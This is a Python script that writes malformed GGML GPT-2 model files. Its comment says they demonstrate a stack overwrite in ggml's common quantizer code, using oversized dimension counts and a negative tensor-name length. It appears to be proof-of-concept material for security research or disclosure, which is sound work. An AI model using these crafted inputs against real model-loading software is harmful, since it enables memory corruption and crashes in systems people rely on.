#!/usr/bin/env python3
import struct
from pathlib import Path


HERE = Path(__file__).resolve().parent


def i32(v):
    return struct.pack("<i", v)


def u32(v):
    return struct.pack("<I", v)


def make(path: Path, n_dims: int, name: bytes, length_override=None, data=b""):
    buf = bytearray()
    buf += struct.pack("<I", 0x67676D6C)
    # GPT-2 hparams: n_vocab, n_ctx, n_embd, n_head, n_layer, ftype.
    buf += b"".join(i32(v) for v in (1, 1, 1, 1, 1, 1))
    # One-token vocab to reach the shared quantizer parser.
    buf += i32(1)
    buf += u32(1)
    buf += b"A"
    buf += i32(n_dims)
    buf += i32(len(name) if length_override is None else length_override)
    buf += i32(0)  # GGML_TYPE_F32
    buf += b"".join(i32(1) for _ in range(max(n_dims, 0)))
    buf += name
    buf += data
    path.write_bytes(buf)
    print(path)


# Demonstrates stack overwrite in examples/common-ggml.cpp.
make(HERE / "ggml_gpt2_quant_common_ndims5.bin", 5, b"x")
make(HERE / "ggml_gpt2_quant_common_ndims64.bin", 64, b"x")
make(HERE / "ggml_gpt2_quant_common_ndims1024.bin", 1024, b"x")

# Non-n_dims probe: negative tensor-name length after valid dims.
make(HERE / "ggml_gpt2_quant_common_negative_length.bin", 1, b"", length_override=-1)